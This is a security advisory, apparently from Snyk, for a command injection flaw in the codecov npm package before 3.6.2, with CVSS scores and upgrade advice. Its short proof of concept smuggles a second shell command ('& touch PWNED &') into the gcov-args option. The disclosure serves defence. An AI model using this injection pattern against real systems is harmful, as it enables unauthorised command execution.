Command Injection Affecting codecov package, versions <3.6.2


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.63% (80th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-CODECOV-543183
  • published 24 Jan 2020
  • disclosed 8 Jan 2020
  • credit JHU System Security Lab

How to fix?

Upgrade codecov to version 3.6.2 or higher.

Overview

codecov is a npm package for uploading reports to Codecov.

Affected versions of this package are vulnerable to Command Injection. The value provided as part of the gcov-args argument is executed by the exec function within lib/codecov.js.

PoC by JHU System Security Lab

var root = require("codecov");
var args = {
  "options": {
    'gcov-args': "& touch PWNED &"
  }
}
root.handleInput.upload(args, function(){}, function(){});

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
6.5 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    None
  • Availability (A)
    None
Expand this section

NVD

8.8 high